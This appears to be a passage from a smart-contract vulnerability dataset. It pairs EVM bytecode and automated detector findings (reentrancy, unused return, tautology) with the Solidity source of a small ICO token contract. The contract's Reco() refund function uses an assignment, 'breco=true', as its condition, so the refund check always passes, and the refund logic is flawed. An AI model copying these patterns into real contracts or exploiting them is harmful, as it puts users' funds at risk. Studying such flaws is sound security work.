1908152602001600020600a0160009054906101000a900460ff1660038111156138c057fe5b14156138e557600282828151811015156138d657fe5b90602001906020020181815250505b613c086008600083815260200190815260200160002061018060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a4d5780601f10613a2257610100808354040283529160200191613a4d565b820191906000526020600020905b815481529060010190602001808311613a3057829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613aef5780601f10613ac457610100808354040283529160200191613aef565b820191906000526020600020905b815481529060010190602001808311613ad257829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613b915780601f10613b6657610100808354040283529160200191613b91565b820191906000526020600020905b815481529060010190602001808311613b7457829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a820160009054906101000a900460ff166003811115613bea57fe5b6003811115613bf557fe5b8152602001600b82015481525050613e56565b1580613c2a575060006008600083815260200190815260200160002060060154145b15613c4e5760038282815181101515613c3f57fe5b90602001906020020181815250505b600380811115613c5a57fe5b60086000838152602001908152602001600020600a0160009054906101000a900460ff166003811115613c8957fe5b1415613cae5760048282815181101515613c9f57fe5b90602001906020020181815250505b5b5b8080600101915050613593565b878786888787879e509e509e509e509e509e509e505050505050505050919395979092949650565b600080613cf183613e67565b9050600081111515613d0257600080fd5b80915050919050565b8360096000600254815260200190815260200160002060020181905550826009600060025481526020019081526020016000206001019080519060200190613d54929190613f9d565b508460096000600254815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816009600060025481526020019081526020016000206005019080519060200190613dd8929190613f9d565b50426009600060025481526020019081526020016000206004018190555080600960006002548152602001908152602001600020600301819055506002600081548092919060010191905055505050505050565b600080613e3883613ce5565b90506005600082815260200190815260200160002054915050919050565b600081610100015142109050919050565b600080600190505b60015481111515613ef9578273ffffffffffffffffffffffffffffffffffffffff166008600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613eec57809150613efe565b8080600101915050613e6f565b600091505b50919050565b61018060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000815260200160006003811115613f9057fe5b8152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613fde57805160ff191683800117855561400c565b8280016001018555821561400c579182015b8281111561400b578251825591602001919060010190613ff0565b5b509050614019919061401d565b5090565b61403f91905b8082111561403b576000816000905550600101614023565b5090565b90565b600061404e8235614eea565b905092915050565b60006140628251614f0a565b905092915050565b600082601f830112151561407d57600080fd5b813561409061408b82614df8565b614dcb565b915080825260208301602083018583830111156140ac57600080fd5b6140b7838284614f32565b50505092915050565b60006140cc8235614f16565b905092915050565b6000602082840312156140e657600080fd5b60006140f484828501614042565b91505092915050565b60008060006060848603121561411257600080fd5b600061412086828701614042565b935050602061413186828701614042565b9250506040614142868287016140c0565b9150509250925092565b600080600080600080600060e0888a03121561416757600080fd5b60006141758a828b01614042565b975050602088013567ffffffffffffffff81111561419257600080fd5b61419e8a828b0161406a565b965050604088013567ffffffffffffffff8111156141bb57600080fd5b6141c78a828b0161406a565b955050606088013567ffffffffffffffff8111156141e457600080fd5b6141f08a828b0161406a565b94505060806142018a828b016140c0565b93505060a06142128a828b016140c0565b92505060c06142238a828b016140c0565b91505092959891949750929550565b6000806040838503121561424557600080fd5b600061425385828601614042565b9250506020614264858286016140c0565b9150509250929050565b600080600080600060a0868803121561428657600080fd5b600061429488828901614042565b95505060206142a5888289016140c0565b945050604086013567ffffffffffffffff8111156142c257600080fd5b6142ce8882890161406a565b935050606086013567ffffffffffffffff8111156142eb57600080fd5b6142f78882890161406a565b9250506080614308888289016140c0565b9150509295509295909350565b60008060006060848603121561432a57600080fd5b600061433886828701614042565b9350506020614349868287016140c0565b925050604061435a868287016140c0565b9150509250925092565b60006020828403121561437657600080fd5b600061438484828501614056565b91505092915050565b60006020828403121561439f57600080fd5b60006143ad848285016140c0565b91505092915050565b6143bf81614e9e565b82525050565b60006143d082614e4b565b8084526020840193506143e283614e24565b60005b82811015614414576143f88683516143b6565b61440182614e77565b91506020860195506001810190506143e5565b50849250505092915050565b600061442b82614e56565b8084526020840193508360208202850161444485614e31565b60005b8481101561447d57838303885261445f838351614507565b925061446a82614e84565b9150602088019750600181019050614447565b508196508694505050505092915050565b600061449982614e61565b8084526020840193506144ab83614e3e565b60005b828110156144dd576144c1868351614951565b6144ca82614e91565b91506020860195506001810190506144ae565b50849250505092915050565b6144f281614ebe565b82525050565b61450181614f20565b82525050565b600061451282614e6c565b808452614526816020860160208601614f41565b61452f81614f74565b602085010191505092915050565b6000601982527f496e73756666696369656e7420546f6b656e20416d6f756e74000000000000006020830152604082019050919050565b6000601682527f546f6b656e20497320416c7265616479204164646564000000000000000000006020830152604082019050919050565b6000601a82527f596f752043616e206e6f7420427579205468697320546f6b656e0000000000006020830152604082019050919050565b6000601982527f546f6b656e2043616e6e6f74206265206465706f7369746564000000000000006020830152604082019050919050565b6000600e82527f6f766572666c6f77206572726f720000000000000000000000000000000000006020830152604082019050919050565b6000600f82527f446561646c696e652050617373656400000000000000000000000000000000006020830152604082019050919050565b6000601082527f546f6b656e20697320496e76616c6964000000000000000000000000000000006020830152604082019050919050565b6000601a82527f496e73756666696369656e7420616d6f756e74206f66204554480000000000006020830152604082019050919050565b6000601c82527f496e73756666696369656e7420616d6f756e74206f6620746f6b656e000000006020830152604082019050919050565b6000601882527f41646420546f6b656e2046656520497320496e76616c696400000000000000006020830152604082019050919050565b6000601e82527f596f7520617265206e6f74206f776e6572206f66207468697320636f696e00006020830152604082019050919050565b6000601982527f546f6b656e2043616e6e6f742062652077697468647261776e000000000000006020830152604082019050919050565b6000601482527f496e636f72726563742045746820416d6f756e740000000000000000000000006020830152604082019050919050565b6000600f82527f7472616e73666572206661696c656400000000000000000000000000000000006020830152604082019050919050565b60006101808301600083015161485860008601826143b6565b50602083015161486b60208601826143b6565b50604083015184820360408601526148838282614507565b9150506060830151848203606086015261489d8282614507565b915050608083015184820360808601526148b78282614507565b91505060a08301516148cc60a0860182614951565b5060c08301516148df60c0860182614951565b5060e08301516148f260e0860182614951565b50610100830151614907610100860182614951565b5061012083015161491c610120860182614951565b506101408301516149316101408601826144f8565b50610160830151614946610160860182614951565b508091505092915050565b61495a81614ee0565b82525050565b600060208201905061497560008301846143b6565b92915050565b600060608201905061499060008301866143b6565b61499d60208301856143b6565b6149aa6040830184614951565b949350505050565b60006040820190506149c760008301856143b6565b6149d46020830184614951565b9392505050565b60006060820190506149f060008301866143b6565b6149fd6020830185614951565b614a0a60408301846143b6565b949350505050565b600060c0820190508181036000830152614a2c81896143c5565b90508181036020830152614a408188614420565b90508181036040830152614a54818761448e565b90508181036060830152614a68818661448e565b90508181036080830152614a7c818561448e565b905081810360a0830152614a908184614420565b9050979650505050505050565b600060e0820190508181036000830152614ab7818a6143c5565b90508181036020830152614acb8189614420565b90508181036040830152614adf818861448e565b90508181036060830152614af3818761448e565b90508181036080830152614b07818661448e565b905081810360a0830152614b1b818561448e565b905081810360c0830152614b2f818461448e565b905098975050505050505050565b600060a0820190508181036000830152614b578188614420565b90508181036020830152614b6b8187614420565b90508181036040830152614b7f818661448e565b90508181036060830152614b93818561448e565b90508181036080830152614ba7818461448e565b90509695505050505050565b6000602082019050614bc860008301846144e9565b92915050565b60006020820190508181036000830152614be78161453d565b9050919050565b60006020820190508181036000830152614c0781614574565b9050919050565b60006020820190508181036000830152614c27816145ab565b9050919050565b60006020820190508181036000830152614c47816145e2565b9050919050565b60006020820190508181036000830152614c6781614619565b9050919050565b60006020820190508181036000830152614c8781614650565b9050919050565b60006020820190508181036000830152614ca781614687565b9050919050565b60006020820190508181036000830152614cc7816146be565b9050919050565b60006020820190508181036000830152614ce7816146f5565b9050919050565b60006020820190508181036000830152614d078161472c565b9050919050565b60006020820190508181036000830152614d2781614763565b9050919050565b60006020820190508181036000830152614d478161479a565b9050919050565b60006020820190508181036000830152614d67816147d1565b9050919050565b60006020820190508181036000830152614d8781614808565b9050919050565b60006020820190508181036000830152614da8818461483f565b905092915050565b6000602082019050614dc56000830184614951565b92915050565b6000604051905081810181811067ffffffffffffffff82111715614dee57600080fd5b8060405250919050565b600067ffffffffffffffff821115614e0f57600080fd5b601f19601f8301169050602081019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60008115159050919050565b6000600482101515614ed857fe5b819050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60008115159050919050565b6000819050919050565b6000614f2b82614eca565b9050919050565b82818337600083830152505050565b60005b83811015614f5f578082015181840152602081019050614f44565b83811115614f6e576000848401525b50505050565b6000601f19601f83011690509190505600a265627a7a7230582083923e05ba54ddf94e2d7dd633cc6c71bbd7dcab7d0ee3635fd5a6901bf89a526c6578706572696d656e74616cf50037 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 9,603 |
0x1892694cdcafc62a66f6b82acd9f0980d6d0c80e | pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Burn(address indexed burner, uint indexed value);
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract GeniusEther is MintableToken {
string public constant name = "Bar Coin2";
string public constant symbol = "BarCoin2";
uint32 public constant decimals = 18;
}
contract bar is GeniusEther {
using SafeMath for uint;
address multisig;
GeniusEther public token = new GeniusEther();
uint start;
uint stop;
uint period;
uint hardcap;
uint softcap;
bool breco;
function bar() {
multisig = 0x2c9660f30B65dbBfd6540d252f6Fa07B5854a40f;
start = 1523185200;
stop = 1523186700;
hardcap = 0.1 ether;
softcap = 0.005 ether;
breco =false;
}
modifier saleIsOn() {
require(now >= start && now < stop);
_;
}
modifier isUnderHardCap() {
require(this.balance <= hardcap);
_;
}
function finish() public onlyOwner {
uint issuedTokenSupply = token.totalSupply();
uint restrictedTokens = issuedTokenSupply.mul(30).div(70);
if (now >= stop && this.balance>softcap) {
token.mint(multisig, restrictedTokens);
token.finishMinting();
multisig.transfer(this.balance); }
if (now >= stop && this.balance<=softcap) {
breco=true; }
}
function Reco() {
uint256 bal;
if (breco=true) {
bal= token.balanceOf(msg.sender);
token.burn(bal);
msg.sender.transfer(bal);
}
}
function createTokens() isUnderHardCap saleIsOn payable {
if (msg.value< 0.0001 ether) {
msg.sender.transfer(msg.value);
}
else {
token.mint(msg.sender, msg.value);
}
}
function() external payable {
if (now >= start && now <= stop) {createTokens(); }
if (now < start) {msg.sender.transfer(msg.value);}
if (now > stop && breco==true) {Reco();}
}
} | 0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101be57806306fdde03146101eb578063095ea7b31461027957806318160ddd146102dc57806323b872dd14610305578063313ce5671461038857806340c10f19146103bd57806342966c6814610420578063661884631461044b57806370a08231146104ae5780637d64bcb4146105035780638da5cb5b1461053057806395d89b4114610585578063a9059cbb14610613578063b442726314610676578063d56b288914610680578063d73dd62314610695578063dd62ed3e146106f8578063f2fde38b1461076d578063f5fd9343146107ae578063fc0c546a146107c3575b600654421015801561013157506007544211155b1561013f5761013e610818565b5b60065442101561018a573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561018957600080fd5b5b600754421180156101ae575060011515600b60009054906101000a900460ff161515145b156101bc576101bb6109ac565b5b005b34156101c957600080fd5b6101d1610ba2565b604051808215151515815260200191505060405180910390f35b34156101f657600080fd5b6101fe610bb5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023e578082015181840152602081019050610223565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561028457600080fd5b6102c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bee565b604051808215151515815260200191505060405180910390f35b34156102e757600080fd5b6102ef610ce0565b6040518082815260200191505060405180910390f35b341561031057600080fd5b61036e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cea565b604051808215151515815260200191505060405180910390f35b341561039357600080fd5b61039b6110a4565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156103c857600080fd5b610406600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110a9565b604051808215151515815260200191505060405180910390f35b341561042b57600080fd5b6104496004803603810190808035906020019092919050505061128f565b005b341561045657600080fd5b610494600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611398565b604051808215151515815260200191505060405180910390f35b34156104b957600080fd5b6104ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611629565b6040518082815260200191505060405180910390f35b341561050e57600080fd5b610516611671565b604051808215151515815260200191505060405180910390f35b341561053b57600080fd5b610543611739565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561059057600080fd5b61059861175f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d85780820151818401526020810190506105bd565b50505050905090810190601f1680156106055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061e57600080fd5b61065c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611798565b604051808215151515815260200191505060405180910390f35b61067e610818565b005b341561068b57600080fd5b6106936119b7565b005b34156106a057600080fd5b6106de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611dc5565b604051808215151515815260200191505060405180910390f35b341561070357600080fd5b610757600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fc1565b6040518082815260200191505060405180910390f35b341561077857600080fd5b6107ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612048565b005b34156107b957600080fd5b6107c16109ac565b005b34156107ce57600080fd5b6107d66121a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6009543073ffffffffffffffffffffffffffffffffffffffff16311115151561084057600080fd5b6006544210158015610853575060075442105b151561085e57600080fd5b655af3107a40003410156108b1573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015156108ac57600080fd5b6109aa565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933346040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561097557600080fd5b5af1151561098257600080fd5b5050506040513d602081101561099757600080fd5b8101908080519060200190929190505050505b565b60006001600b60006101000a81548160ff021916908315150217905515610b9f57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610a8957600080fd5b5af11515610a9657600080fd5b5050506040513d6020811015610aab57600080fd5b81019080805190602001909291905050509050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1515610b4e57600080fd5b5af11515610b5b57600080fd5b5050503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610b9e57600080fd5b5b50565b600360149054906101000a900460ff1681565b6040805190810160405280600981526020017f42617220436f696e32000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d2757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d7457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dff57600080fd5b610e50826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ee3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121df90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110757600080fd5b600360149054906101000a900460ff1615151561112357600080fd5b611138826001546121df90919063ffffffff16565b60018190555061118f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121df90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561129f57600080fd5b3390506112f3826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c690919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134a826001546121c690919063ffffffff16565b600181905550818173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca560405160405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156114a9576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153d565b6114bc83826121c690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116cf57600080fd5b600360149054906101000a900460ff161515156116eb57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600881526020017f426172436f696e3200000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156117d557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561182257600080fd5b611873826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff